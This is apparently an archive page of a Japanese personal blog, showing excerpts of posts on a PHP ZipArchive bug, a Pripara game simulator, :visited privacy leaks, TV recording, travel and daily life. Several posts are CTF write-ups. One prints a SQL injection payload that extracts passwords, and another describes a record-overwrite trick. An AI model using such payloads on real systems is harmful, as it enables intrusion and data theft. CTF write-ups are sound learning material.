この記事は, KMCアドベントカレンダー 5日目の記事です.
昨日はnonyleneさんの Android Studio をビルドするでした.

唐突ですが, 今日はPHPの話をします.

TL;DR

PHPのZipArchiveライブラリには, globパターンでファイルを追加する addGlob メソッドがある.
これにはいくつかoptionが指定できるのだが, 挙動がおかしい.
送った修正PRに反応をもらえたため, 12/1にリリースされた PHP 7.1 に含まれないかなと期待していたが, 特に進展はなかった.
みんな困ってないんか…?

ZipArchive::addGlob

PHPでオシゴトをしていると, PHPでZipファイルを作りたい瞬間があるのではないかと思います.
私も, リクエスト内容が書かれたjsonファイルや画像をZipファイルでまとめてPOSTする超コズミックなAPIを叩く, 最高の機会がありました. (社会の歯車である一労働者は, 用意されたAPIに文句を言う前に黙々と作業をしなければいけない時があります.)
また, 様々な都合でZip圧縮前のフォルダを残しておく必要があったため, こんなコードを書いたのです.

$dir = '/tmp/workdir/';
 
// create jsons/api.json
$jsonDir = $dir . 'jsons';
mkdir($jsonDir);
file_put_contents($jsonDir. 'api.json', json_encode($request));
 
// create archive.zip
$zip = new ZipArchive();
$zip->open($dir . 'archive.zip', ZipArchive::CREATE);
$zip->addGlob($dir . '**/**', 0, ['remove_path' => $dir]);
$zip->close();

ZipArchive::addGlobは, 第一引数にファイル検索パターンを, 第二引数にglobのフラグを, 第三引数にその他optionを指定します.
このoptionが今回の焦点となるのですが, 以下の項目が設定できます.

プリパラで効率よく承認欲求を満たす

Wed, 02 Dec 2015 15:46:00 +0000

この記事は KMC Advent Calendar 2015 3日目(12/3)の記事です。

2日目の記事は、id: utgwさんの古明地こいしのアドベントカレンダー&雑記と来年の抱負でした。

今日はアドベントカレンダー用におもちゃを作ったので紹介します。

プリパラで承認欲求を満たす

最近、Twitterの「お気に入り」が「いいね」に変わりましたね。

そんな中Twitterやfacebookで「いいね」を集めている方もいらっしゃるかと思いますが、世の中にはもっと効率的に「いいね」を集める方法があります…

そうです、プリパラに行くのです!

女児向けゲームなのでこれまで縁のなかった方も多いかと思いますが、SNSでは通常味わえないほどの「いいね」をこのプリパラでは低価格で集めることができます。

1プレイ100円でリズムゲーム（ライブ）をプレイしたあとに「プリチケ」と呼ばれるカードが手に入るのですが、このライブを通じて通常2万前後の「いいね」を集めることができるのです。

1いいねが100円　といった「いいね」代行業者がある中、プリパラは　1円で200いいね　を集めることができるのですから、コスパは最強と言えるでしょう。

【ゲーム中には「いいね」が勢い良く流れる】

リズムゲームでタイミングよく押せると「いいね」がもらえるのですが、もし合わなかったとしても「おしかったね」と励ましの言葉がもらえるので、ゲームが苦手な方も心が満たされるはず。
（決してpoor、bad、failのような冷め切った言葉ではない！！！）

プリパラシミュレータ

ただ、今すぐ「いいね」をあつめにプリパラに行くのも難しいと思うので、簡単なプリパラシミュレータを作ってみました。

Pripara Simulator

ハートが中心に来たタイミングで画面を押せば「いいね」を集めることができます。

さらに、ただただ「いいね」を集めたい人のために、「全自動承認モード」をご用意いたしました。

タイミングを合わせなくても「いいね」が得られるという超便利アイテムです。

これで皆さんの承認欲求がじゃぶじゃぶ満たされていけばと思います。

スマートフォンでも遊べます。

余談

2日前に思いたってかなり雑に作ってみました。

ちょうど作ってる途中で @hakatashi の Travis-CIで最強のデプロイ環境を構築するという記事が流れてきたので使ってみました。

Travis-CI is 便利。

あと、シミュレータでは「ラッキー!サプライズ☆バースデイ」の序盤を真似して作ってみたのですが、譜面の部分をES2015のgeneratorを使って実装してみたら思ったよりいい感じになったような気がしています。

scenario.js

let luckySurpriseBirthday = function * () {
  // ほんとにスペシャルなパーティーのはじまりは
  yield createCircle(1 / 8);
  yield * wait(baseStep);
  yield createCircle(0 / 8);
  yield * wait(baseStep);
  yield createCircle(7 / 8);
  yield * wait(baseStep);

また一部の筐体ではゲームのプレイ内容を録画できるようになっているのですが、作るにあたってそこで録画した内容がかなり参考になりました。ありがたい。

セキュリティミニキャンプ新潟でチューターをしていました

Mon, 18 May 2015 08:46:04 +0000

セキュリティミニキャンプ新潟が5/16, 5/17にありました。

ちなみにDEFCON Qualsが5/16~18にありました。

@tyage DEFCON

— 軟こんにゃく (@potetisensei) May 15, 2015

チューターとしてはあまり仕事をしていなかったかと思いますが、軽い発表をさせてもらいました。

ライブラリが廃れるっていう話で質問されたのだけど、標準仕様に取り込まれて廃れる場合もあってそれはそれで幸せかもということはお風呂で思った

— もうダニ (@tyage) May 16, 2015

:visitedセレクタのプライバシー問題とSNSでの利用

Sun, 04 Jan 2015 07:22:14 +0000

追記(2015年9月9日)

以下の記事は、2015年1月4日時点での内容となります。

2015年9月9日時点において、IE11で:visitedなリンクに対して透過度を変更できる仕様は修正されているようです。

参考: CVE-2015-1765, Internet Explorer 用の累積的なセキュリティ更新プログラム (3058515)

:visitedセレクタについて

半年以上前に少し調べたことについてまとめてみたいと思います。

まずCSSの擬似セレクタに:visitedがあり、:visitedセレクタではプライバシーの問題上、使用可能なプロパティが制限されていることはご存知の方も多いと思います。

訪問済みリンクの要素にbackground-imageを設定することで、訪問済みリンクの情報が漏れるという問題等の対策です。
(Calm brilliance – CSS Fingerprint: preliminary data)

詳細は Privacy and the :visited selector にある通りですが、そこでは

You will still be able to visually style visited links, but there are now limits on what styles you can use. Only the following properties can be applied to visited links:

– color
– background-color
– border-color (and its sub-properties)
– outline-color
– The color parts of the fill and stroke properties

31C3 CTF – Page Builder writeup

Fri, 02 Jan 2015 00:32:50 +0000

This challenge needs only XSS but it is interesting to me 🙂

These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it. http://188.40.18.76/

By using the form, we could generate a page.(such as http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/filename)

ウィッシュリストテロでミナミヌマエビが450匹やってきた

Tue, 18 Nov 2014 15:52:56 +0000

amazonの欲しい物リストにミナミヌマエビを入れていたら450匹届きました…（15匹で1セットの商品が30セット届きました。）

いわゆるウィッシュリストテロってやつです！

@mage_1868 さん許すまじ！！（ありがとうございます！！！）

@tyage 遅くなりましたが誕生日プレゼントを送付しました☆（ゝω・）v 今日の午前中に届く予定です＞＜生ものなのでお早めに

— mage(まげ) (@mage_1868) 2014, 11月 8

突然ミナミヌマエビ450体が送られてきて動揺している私です (@mage_1868 さんありがとうございます！！) pic.twitter.com/vKKsQuoLDb

— もうダメ (@tyage) 2014, 11月 9

家にある小さい水槽には入りきらなかったので、さらに水槽を追加購入し、それでも入りきらないエビは梱包材の発泡スチロールに入れています。

掃除屋さんなだけあって、エビのおかげで苔だらけだった水槽や水草が綺麗になりました！！

before:

苔だらけの水草

苔だらけのまりも

after:

綺麗になりました

新しい水槽にはざっと200匹以上が住み着いているのですが、数に圧倒されています…

上が前からあった水槽、下が新しく買った水槽です

餌は何でも食べると聞いたので、友達にもらった炭酸せんべいをあげています。

かわいいし掃除してくれるしとてもいい子たちなのですが、数が多いとストレスが溜まりそうなので、親戚に少しゆずる予定です。

養殖て大儲けしたらエビ御殿とか建てれないかなぁ・・・

ウィッシュリストはいつでも受け付けておりますので、お気軽にポチって下さい。

DEF CON CTF 2014

Tue, 12 Aug 2014 15:29:24 +0000

チームbinjaのパーカー運搬係として参加していました

Atomエディタ用にVideo player pluginを作りました

Sat, 26 Jul 2014 03:48:14 +0000

コーディング中でも動画が見たい人種に向けたプラグインです。

BGA（background animation）を流しながらコードを書いたりすることが多いのですが、せっかくならエディタの背景で流したいですよね。

ということで作ってみました。

pluginページ: video-player

使い方

vlcの実行ファイルへのパスを設定 (Macならデフォルト値が設定されています)
“Video Player: Play” コマンドを実行
動画ファイルを選択
“Video Player: Stop” コマンドで終了

再生できる動画

video要素を利用しているだけなので、音声もちゃんと流れます。

Atomはchromiumベースなのでogg, webm, wavが再生できるのですが、mp4等には対応していません。

chromiumで対応していない形式に関しては、vlcを呼び出してogg形式に変換しつつ配信しています。

そのため、vlcで再生可能な形式ならなんでも再生できます。（画像もいけます。）

今後のアップデート

コントローラを出すとか、複数動画連続再生に対応するとかは考えています。

バグ報告等はgithubのissueに投げてください。

pull requestも受け付けています。

その他

他に同じようなエディタプラグインあったら参考にしたいので教えてください。

正直、背景で動画流れてると集中できない気もする。

ハンドルネーム

Mon, 19 May 2014 12:19:38 +0000

世間が某音楽デュオの話で盛り上がっているのでそれに便乗して…

よく聞かれるのですが、私のハンドルネームがチャゲになったのは、小学校3年生くらいの時からアダ名がそうだったからです。

中学・高校・大学もずっとそのアダ名で呼ばれているのですが、なぜそう呼ばれ始めたのかよく覚えていません。
（音楽ユニットに関係あったかもしれないしなかったかもしれない）

ハンドルネームとしてインターネットで10年近く利用していますが、エゴサーチしづらいだけでなく、たまに音楽ユニットと間違われることがあります。

最近だと、Google+で音楽ユニットの方が写っている忘年会の写真にタグ付けされて、限定公開の写真が見えてしまうということがありました。

知らない人からgoogleプラスの写真でタグ付けされたとの通知が来て、見てみたらチャゲ＆ア○カのほうのチャゲさん達の忘年会の写真（限定公開）が・・・

— ッぴょㄘゃ (@tyage) 2014, 2月 18

Google+のプロフィールには、学校名とか所属している会社とか書いてあるので、見たらすぐにわかるはずなのですが…

案外、タグ付けする際に確認せずに気軽にタグ付けする人が多いのかもしれないですね。

逆に、芸能人になりすましてプロフィールを作ると、タグ付けされて情報が手に入ったりするのかもしれないと思いました。
（やりたくないし。やらないですが）

そもそも情報の公開範囲制限をかけてない投稿って多いですし、人間の操作ミスも含まれるので情報が漏れてしまうのを防ぐのはなかなか難しそうです。

話が大きくそれましたが、私のハンドルネームの由来を知っている方はご一報ください。

録画環境を構築した

Mon, 17 Feb 2014 16:43:22 +0000

環境

ハードはこれ

OSは未だにUbuntu 12.04

録画するまで

ここ数カ月はサラリーマン生活をしていて、朝10時に出勤しているのだけど、そうなるとさすがに夜更しがつらくなってきた。

深夜アニメを見る生活も捨てがたいし録画することにした。

PCで見たいので録画カードとしてPT3を買った。

届いてから設置して、Ubuntuにドライバを入れたりした。

PT3のドライバがgithubにあったので、すごい時代だなあと思いながらインストール。

recpt1が必要とのことだったのでこことかを参考にぐぐりながら入れて、再起動。

B-CASカードに関してはここでは述べないこととする。

録画管理にはepgdumpではなく、chinachuを使うことにした。

たまたま冬コミでマニュアルを手に入れていたこともあるけど、モダンな感じなのとnode.jsで書かれているのがいい感じ。
（epgdumpも入れてみたけどapacheやmysql依存してると開発環境とぶつかってよくない感じに・・・）

chinachuのWUIは結構充実してて、その場で番組視聴したり録画視聴できるのが嬉しい。

node.jsは既に入っていたし、wikiに書いてあるとおりにやったらすんなりいけた。

コマンド1回でだいたい終わるのはとても気持ちいい。

設定に関して、チャンネルは下のように総当たりでスキャンするか地域で調べるかすればよさげ。

for var in `seq 13 80` ; do recpt1 --b25 --strip $var 10 ./$var.ts;done

ど素人だけど半日あれば十分だった。

エンコード問題

録画環境が構築できたので試しに録画してみた。

ある程度覚悟はしていたものの、30分のアニメでm2ts形式のファイルだと3GB前後といった感じだった。

うう〜ん。。。でかい。。。

とりあえずmp4に変換しようと思い、HandBrakeを使ってみる。

~~Linux環境でもQSVが使えるらしく、ffmpegよりエンコード速度が速いかもとのこと。~~

[追記: 2014/10/25]まだLinux環境でもサポートされていないようでした。

インストール時に注意なのが、「ppa:stebbins/handbrake-releases」には「handbrake」はなくて「handbrake-cli」と「handbrake-gtk」があるということ。

試しに比較してみると、30分のアニメで、HandBrakeだと20分、ffmpegだと60分以上かかった。

この時の圧縮後の容量はHandBrakeは400MB、ffmpegは600MBという感じだった。

HandBrakeのほうが画質が落ちているように見えるが、比較しなければ気にならない程度。

当然、エンコード方式等々で変わってくるだろうからコマンドを貼っておく。

ffmpeg -i in.m2ts -vcodec libx264 out.mp4

HandBrakeCLI -e x264 --deinterlace fast --h264-profile main --modulus 2 -q 22 --aencoder copy:aac -i in.m2ts -o out.mp4

適当にencodeしたので適切に圧縮されているのか少し不安である。

スペインでFirefox OS端末は買えるのか？

Wed, 04 Dec 2013 06:07:34 +0000

この記事はKMCアドベントカレンダーの4日目の記事です。

1〜3日目の人達は技術系の記事を書いているため、僕は少し緩めの話をしようと思います。

僕は10月末〜11月初めまで、Facebook CTF決勝のためにチームEpsilonDeltaの4人でスペインにいました。
その時に、スペインで販売されているFirefox OS搭載の端末「ZTE Open」を購入しようとしたという話です。

もし今後スペインに行くことがあり、携帯端末を購入するという方の参考になればと思います。

※Facebook CTFに関する詳しい内容はC85で頒布する部誌に記事を載せているのでそちらをよろしくお願いします。
3日目西地区 ”し” ブロック 42bです。
よろしくお願いします。
3日目西地区 ”し” ブロック 42bです。

事の始まり

Firefox OS搭載の端末は、先ほど出てきたZTE Openの他にもPeak・Peak+・Keonなどありますが、これらは既に品切れ状態が続いており（Peakは再生産するらしい？）ほとんど手に入らないようです。

ZTE Openが初めて販売されたのはスペインからということで少し話題になりました。(http://gigazine.net/news/20130710-firefox-os-smartphone-zte-open/)
ZTE Openはebayで輸入することができるため日本にいても手に入るのですが、輸入にかかる費用を含めて1万円弱($94.99 USD)かかります。
一方、スペインで買うと7000円弱(49 EUR)で手に入るとわかりました（運が良ければ中古で安く手に入らないかとも期待していた）。

せっかくスペインに行くのだしこれを自分へのおみやげにしようと決めて出発したのでした。

11/3 朝

スペイン・バルセロナ自体には10/30昼〜11/4昼までいたのですが、CTFがあったりその他に行く場所があったりして、ZTE Openを探す時間ができたのは11/3と11/4になってしまいました。

11/3も観光地に寄る予定を組んでいたために、朝に1時間ほどしか動けませんでした。

しかもこの日は日曜日。
スペインでは日曜日になるとほぼ全ての店が閉まってしまいます。（日本だと異常事態ですね。）

ということでこの日はどこに行っても閉店・・・（流石に一部のコンビニや観光地のショップは開いていましたが）
ホテル付近の店は全滅という状態で諦めざるを得ませんでした。

スペインに行く際は日曜日(domingo)に気をつけて下さい。

11/4 9:30

この日は最終日なので9:30-12:00までの間に急いで探さないと行けませんでした。

前日に調べた結果、とりあえずホテルのすぐ近くにあるmovistar直営店に寄ることにしました。

movistarというのはスペイン語圏の国々で主に活動している会社で、スペインで最大の携帯事業会社となっています。
世界第5位の通信事業会社Telefónicaの子会社でもあります。

スペイン最大ということもあって、バルセロナの町の至る所にmovistarの直営店がありました。
（その他にはvodafoneやorangeやyoigoといった会社が多く見られました。）

どこにmovistarがあるのかはこのページで確認することができるのですが、本当にバルセロナを埋め尽くしているという感じです。

スペインではこのmovistarがZTE Openを取り扱っているらしく、実際に店頭に並べられていたり広告が貼られているのは事前に確認済みです。
このような特設ページも作られています。
http://www.movistar.es/firefoxos

スペイン語がわからない人間のために英語で書かれたZTE Open購入マニュアルも見つけました。
How to Buy ZTE Open – Step by Step Guide

DEF CON CTF Qualifier 2013

Sat, 05 Oct 2013 16:02:42 +0000

問題解いてた時のログが残ってないし、探せば他が出てくると思うのでwriteupは書きません。
一応、webを何問かとprogramming2問ほどを解きました。

うちを含め多くのチームがweb問題を全完しており、今回のweb問題は易しかったように感じます。

開始直後は、8-puzzleのprogrammingを解いて7位くらいだったけど、最終的には79位となった。

2日目・3日目は学校をサボって灘高にいて、チームで問題を解いてたらだんだん正気が保てなくなってきた。

「真の会社（DEFCON）」と「今勤めてる会社」どっち優先させるかとても悩ましい

— ッぴょㄘゃ (@tyage) June 16, 2013

ずーっとPCに計算させてる間歌ってる　http://t.co/LvCgHDutg7

— ッぴょㄘゃ (@tyage) June 16, 2013

HEYYEYAAEYAAAEYAEYAAが意識遠くなっても頭の中から聞こえるようになってきた

— ッぴょㄘゃ (@tyage) June 16, 2013

DEFCONが僕達に残したもの

UFO CTF 2013 writeup – Web200

Sat, 05 Oct 2013 14:55:08 +0000

Those aliens consider themselves as the most smart creatures in
the world. Pff. They shouldn't even have tried to defeat mankind
having such stupid stuff in their heads! As for you, why wouldn't
you hack them? They'll most likely surrender then. By the way, it
is known that they update some data every 10-20 seconds, but
unfortunately our equipment can't intercept the data itself.
 
http://superhosting.tasks.ufoctf.ru:8000/

自分のウェブページが作れ、バックアップと復元ができるシステムになっている。

バックアップしてみると、[username]_[md5(username)][md5(zipfile)].zipという名前でzipファイルがダウンロードでき、それをアップロードすることで復元ができるようになっている。
zipファイルの中身を解凍すると、.backupという名前で以下のようなファイルが入っている。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="12349813568" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
		<field type="CharField" name="owner_email">test@localhost</field>
		<field type="CharField" name="page_title">My homepage</field>
		<field type="TextField" name="page_content">Hello everyone! This is my new homepage.</field>
		<field type="CharField" name="page_footer">Made with love and care</field>
		<field type="BooleanField" name="page_is_public">False</field>
		<field type="CharField" name="page_public_id"></field>
	</object>
</django-objects>

いろいろと試した結果、復元時にpk(primary key)を変えた場合にそのpkを持つフィールドのデータを上書きすることができるとわかった。

DIMVA CTF 2013 writeup

Fri, 19 Jul 2013 16:29:48 +0000

DIMVA CTFに参加していた。

私のチーム（Epsilon Delta）は850ポイントで17位だった。

Web 100

画像アップローダーが用意されており、どうにかこうにかする問題。

はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。

各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。

しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。

画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。

' union all select password from pictures--

その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。

c0ffee29e34ad42d38cbe236913c911a

パスワード付きの画像はこんな感じだった。

素直でわかりやすい問題だったように思う。

Web 200

普通にアクセスすると

'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login>

ってのが返って来る。

一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。

SIGINT CTF 2013 writeup – bloat (cloud 200)

Tue, 16 Jul 2013 20:23:45 +0000

CTF

えと、ブログを更新停止している間に、Epsilon DeltaとしていくつかCTFに参加していました。

Codegate YUT Preliminary 2013
Nuit du Hack CTF Quals 2013
BaltCTF Quals 2013
SECUINSIDE CTF Quals 2013
Boston Key Party CTF 2013
DEF CON CTF Qualifier 2013
SIGINT CTF 2013

はじめは海外のCTFの感覚がつかめず、ちゃんと解いたような記憶もなかったのですが、BKPあたりからは少し慣れてきたような気がします。

今まで解いてた問題のwrite upを書こうとも思ったのですが、すっかり忘れてしまっているため、一番最近やったSIGINT CTFのwrite upを書くことにします。

サイト移転中です

Fri, 12 Jul 2013 11:21:52 +0000

なかなか時間が取れず、サイトの移転を先延ばしにしていたのですが、移転することになりました。

移転元: http://tyage.sakura.ne.jp/
移転先: http://tyage.net/

さくらのクラウド二万円クーポンを頂いたため、サーバはそこにおいてあります。

さくらのVPSもさくらのレンタルサーバも契約してあるんですが、せっかくなのでクラウドに統一して、他はいらないかなと思っています。

あんまり深く考えず、OSはDebian 7.1(wheezy)で、このブログとかはnginx使って動かしています。

とりあえずブログから移転することにしました。

移転前のサイトのコンテンツは、残すか消すか迷っています。

いくつかのサービスやゲームはさくらのクラウド上で動かすつもりです。

移転元のサイトは今年分の料金を払ったので、あと1年だけ残すことになります。

ここのところ、ブログも書けていないのでちゃんと書いていきますね。

移転に際して、以下のページを参考にさせていただきました。
nginxベースの高速なWordPress環境をお名前.comのVPSで構築
 Debian Squeeze に nginx + php-fpm な Web サーバーを構築する

退職しました

Tue, 18 Jun 2013 02:22:43 +0000

気がつくと、いつの間にか退職していました。

今は別の所で働いています。

また働き始めたこと

Tue, 01 Jan 2013 19:47:01 +0000

ネットではあんまり公にはしてなかったのだけど、10月ごろからまたReventive, Incにて働き始めました。

「また」ってのは、2011年の初頭にも働いていたことがあって、そのころはTitanium Mobileでチャットアプリを作っていました。

Titanium Mobileに毎日いらついていた覚えがあります。

Titanium Mobileの存在自体がトラウマ化した・・・。

んで、受験シーズンに突入したってことで一旦は抜けたんだけどまた戻って来ました。

今はCloseというSNSのAndroid版を作っています。
（一時期話題になってたので聞いたことがある方もいるかもしれません。）

JavaでのAndroidアプリの開発はほぼ未経験で、Javaも普段は触ってないのですが、一日くらいコードを眺め続けてなんとか書けるようになりました。

当然、一日で書けたのはほんの少しでしたが、二ヶ月経った今は、ある程度書けるようになったとおもいます。

それと、他人とプロジェクトを共有したり、gitを本格的に使ったりってのも今まであまりやってこなかったので勉強になりました。

iOSアプリ開発・Androidアプリの開発の両方をしているとやっぱり、Android側はIDEがあまりよくないし、端末間での誤差を調整するのがとてもつらいかなあと思います。

当然ですがOSのバージョンが違えば挙動も違うし、使える機能・使えない機能があるし、端末によって不思議なことが頻繁に起こり、苦労します。

それにリストビューとか、iOSと比べてあんまり機能が充実していないのではないかなあと感じることもしばしば。

なんにせよ辛いことが多いですが、Objective-Cを書くよりかはJava書いてるほうが気が楽ではあります。

現在気になっているのはテストの方法。。。

今まで他人のやりかたを見てなかったので、コードを書いたらそれを端末上で実行し、手動デバッグを繰り返していたのですが明らかに効率が悪い。

D○Aさんでも最終的には手動テストだと小耳に挟んだ気がするのだけど、流石にテストの効率化ぐらいはしてるだろうなあ。

Androidテスト部の方からご教授願いたいでし。

Androidアプリの開発をしていて色々と知見を得たことが多かったでし、仕事先の人は面白い人が多いです。

ただ、Close for AndroidはこのようにAndroidアプリ開発初心者も開発に携わっているため、何かと問題を抱えていることもあります。

そのため、あまり期待せずこれからの成長を暖かく見守っていただきながら、インストールしてもらえると嬉しく感じます（ステマじゃないよ宣伝だよ！）

Close for Android
Close for iOS

セキュリティ系イベント参加ログ

Tue, 01 Jan 2013 18:54:42 +0000

新年明けましておめでとうございます。

少し時間ができたので適当にブログを書いていくことにしました。

今回は、二ヶ月の間に参加していたセキュリティ系イベントをまとめて書いていこうとおもいますです。

ウェブセキュリティ勉強会/OWASP Japan （大阪サテライト）
情報セキュリティ・ワークショップ in 越後湯沢
第3回SECCON 奈良大会
ゲヒルンウェブセキュリティ勉強会　第２回　in京都

12/16（日）

Sun, 16 Dec 2012 03:35:44 +0000

CoD BO2を友達としたあと、5時に解散して少し寝る。

ほとんど寝ずに、起きてニチアサを聞きながら、朝食のパンケーキを作る。

卵と砂糖と小麦粉のシンプルなパンケーキを作ったのだけど、ほんとうに卵と砂糖と小麦粉だけでできたので、一食30円くらいで済んでしまう。

前日に作ってあったスープを飲みながら一息。

続けてアニメ見たりしてだらだらしてたらお昼になったのでとりあえずお買い物に。

れんこん一本：308円
もやし：29円
豚肉(100g 78円)：306円
食パン6枚：88円
牛乳1L：118円
納豆3パック：65円
ごぼうたくさん：98円
ねぎ三本：98円
たまねぎ3個：80円
ピーマン3個：78円
かいわれ：35円

合計：1403円の買い物となりました。

ところで、私の財布の残金は1041円・・・

どうしてこんなことになったのか。責任はどこにあるのか。
（主にredbullや学食・外食が影響していると思われる）

ともかく、クリスマス等々を残り1000円でくらさないといけなくなった私ですが、食事に関してはなんとかなりそうです。

お米もまだあるし、麺類も以前に業務スーパーで買ったものがあるし・・・

ただ、外食（牛丼280円）とredbullが食べられなくなるのはとても残念でしかたないです。

悔しいのでエネルギー節約のために寝ます・・・

錬金術でも考えとかないとなあ

d=(^o^)=b.js – Aizu Advent Calendar

Fri, 14 Dec 2012 06:55:12 +0000

※追記：mac以外で閲覧するとコードが壊れているみたいです。

やっほー！d=(^o^)=b

今日はAizu Advent Calendar14日目として記事を書くよd=(^o^)=b

ってことで、何を書こうか迷ったんだけど、d=(^o^)=bをネタに書きますd=(^o^)=b

ところで、d=(^o^)=b　←この顔文字、ヅ大生（主に@yutopp氏？）がよく使っている気がするけど、気のせいかしらd=(^o^)=b

↓例

d=(^o^)=bがなにを意味するのかはよくわかんないんだけど、まあ本題へd=(^o^)=b

何か吐き出さないとなあ

Sun, 18 Nov 2012 15:32:58 +0000

　
ここんところ某つぶやきサイトでうだうだ言ってるだけで、こうやって書くことがないからか、よくわからないストレスが溜まっている。
いろいろなことがあって（でも何もできてないのだけど）何か書かないといけないと思った。

とりあえず、以下のことについて書くつもりでいる。
・ウェブセキュリティ勉強会/OWASP Japan （大阪サテライト）
・会社でまた働き始めたこと
・情報セキュリティワークショップin越後湯沢
・アイデアソン
・SECCON CTF
・きょーくりっのワークショップ
・学校や、普段の生活のこと
・今まで一人でやっていたプロジェクトやプログラミングについて

こぼしたいことはあるはずなのに、なぜか手が進まないのでこうやって自分にプレッシャーをかけてみる。

自然とインプットもアウトプットもしなくなってから、自分が何をしているのかわからなくなったので振り返ればと思う。

ただ、NF（京大11月祭）も近いので、またどうなることやら・・・

本日の出費

Sat, 20 Oct 2012 23:03:03 +0000

・丸亀製麺￥460円
・HP mini 210-1000 ￥17800円
・CoD MW3ソフト￥6680円
・バス運賃￥660円　(寝過ごして220円無駄に)
・船岡温泉￥410円
・愛のスコール￥120円
・猫ラーメン￥600円
・財布内の現金￥2万円+α
・財布との思い出プライスレス

おそらく、自転車のカゴに財布を入れていたら盗られた。
死にたい

そういえばこの日、バス内にケータイを忘れたのもフラグだったのかなあ

関東に行ってきた

Thu, 06 Sep 2012 16:56:57 +0000

東京の友人に土下座しないといけない用事ができたため東京に行ってきた。
そのついでに一週間程関東を旅行することにした。
8/28夜に神戸を出発して翌朝に東京に着き、
8/31夜に東京を出て翌朝新潟に到着、
8/3に新潟を出発し夜に京都に帰還という予定。
（結局、東京を出発したのは8/31朝だった）
その他は特に決めずに、適当に移動することにした。
2日分の着替えと青春18切符5日分を手にして出発！

１０００枚ほど写真があり、以下にまとめてある。
2012/08-09 関東旅行

経費

総経費：46458円

日付	名称	値段
	青春18切符	11300
	ムーンライトながら・えちご乗車券	510*2
8/28	夕食（立ち食いうどん）	400
8/29	朝食（マクド）	200
8/29	スタバ	340
8/29	昼食（ラーメン）	600
8/29	かき氷	200
8/29	ネカフェ	1000
8/29	ワンセグチューナー（不良品）	990
8/29	SDカード	389
8/30	昼食（サイゼリア）	580
8/30	夕食（うな丼）	1600
8/31	朝食（コンビニパスタ）	400
8/31	ぐんま土産	1500
8/31	ほくほく線運賃	290
9/1	電車賃（非18切符）	1890
9/1	時刻表	660
9/1	バス	200
9/1	フェリー	1620
9/1	昼食（そば）	500
9/1	水・アイス	145
9/1	夕食（さしみ定食）	700
9/2	宿	7500
9/2	土産物（のちに消失）	2660
9/2	昼食（海藻そば）	550
9/2	高速船	3580
9/2	電車賃（非18切符）	1890
9/3	ほくほく線運賃	970
9/3	土産物	2784

08/24

Fri, 24 Aug 2012 08:21:54 +0000

今日は昨日作ったたこ飯だけを食べた。
有意義だった。

08/12

Mon, 13 Aug 2012 23:46:32 +0000

コンディション：昇天直前
朝食：サラダ巻一本+redbull
昼食：サンドイッチ一個+redubll
夕食：寝てた

昨日の続きで京都会場に泊まり続ける。
結局、京都会場はほとんどが帰ってしまい、最終的に二人しか残らなかった。
ほとんど寝てない。
ちょっと意識を失う度にredbullを注入して意識を保っていた。
（計redubll6本ちょっと）
京都会場は自分以外死んでいたが、東京会場では大勢が起きていた。
あいつらおかしい。

自己紹介LT自動生成ツールもどきを作る予定だったのだが、それは途中で打ちきって、feru絵アイコン生成ツールに取りかかっていた。
画像処理なんぞしたことない&JavaScriptを使ってやろうとしていたので、なかなかハードだった。
途中でネットワークが切れたり、無駄なコードを大量生成していた。
feru絵アイコン生成ツールも途中でタイムリミットが来てしまい、適当に間にあわせで発表した。
某セキュリティやくざのアイコンを変換したらそこそこウケたのでまあいいや。
ネットワーク悪すぎで東京が何やってるのか終始不明だった。

帰宅はモニターと、Mac miniと御座とかとかに追加して、預かることになったノートパソコンを担いで、自転車で帰った。
肩が死んだ。
feru絵生成ツールをちょっと整形してたら17時ごろに力尽きた。

発表したスライド
 feru絵変換ツールもどき
 LT自動生成ツールもどきにすらならなかった何か

08/11

Mon, 13 Aug 2012 23:32:27 +0000

コンディション：やばい
朝食：スープ
昼食：おにぎり一個+redbull
夕食：中華料理+redubll

なぜか5時くらいに寝て、9時くらいに起きた。
メールを確認すると10日前からAppleに申請していたアプリがやっと承認されていた。
NUMBERというアプリです。
私の金欠補助のため、ダウンロードお願いします。
これから色々とアップデートをしていく予定。

その後、そのアプリの共同開発者の人と遊んでから、私立プログラミングキャンプに参加した。
ノートパソコンを持っていないため、Mac miniとモニター（21.5インチ）と睡眠用の御座*2、枕*2を持っての参加だった。
行きは車で運んでいただいたのでなんとかなった。
結局、色々と足りないものがあり、途中で家に帰ったりした。
東京会場は40人近くいたが、京都会場は5人ほどしかいなかった。
（睡眠環境では負けなかった。）
なんか東京ではLTとかしてるらしいけど、通信環境が悪すぎて全く分からなかった。
京都でも適当にゆるゆると自己紹介LTとかしてた。
提供していただいたredbullを飲んでいたらいつまでも起き続けられた。

京都大会では寝れます

08/10

Mon, 13 Aug 2012 23:22:16 +0000

コンディション：まぁまぁ
朝食：なし
昼食：とり天
夕食：豚焼いた

そういえばさくらのVPSを契約したので、先日から行っていたnode.jsのプロジェクトを移植する。
さくらのVPSにしても接続数が増えるとカクカクするのは少し残念。
まあなんとかなるだろう。

そんなこんなで3時になったので寝て、9時に起きる。
その後、オープンキャンパスに来ていた @tsurumotton を連れ回してみる。
振り回してごめんねー。
とりあえずJKをいっぱい見れたので満足して、午後のラジオ体操に参加。
午後は22人も参加して過去最高だったらしい。
Twitterのオフ会がそこら中で行われていて異様だった。

ラジオ体操同好会の会長と、「とり天」を食堂で食べるために粘り続ける。
部室に行ったり学校うろちょろしてたら15時になってやっと「とり天」にありつくことができる。
うまい。うますぎる。

その後はちょっと寝てぼーっとしてたら無意味に時間が過ぎてしまった。

08/09

Mon, 13 Aug 2012 23:13:36 +0000

コンディション：寝不足
朝食：記憶になし
昼食：なし
夕飯：中華料理

昨日の続きでskypeしたり米炊いたりしてたら朝になってしまった。
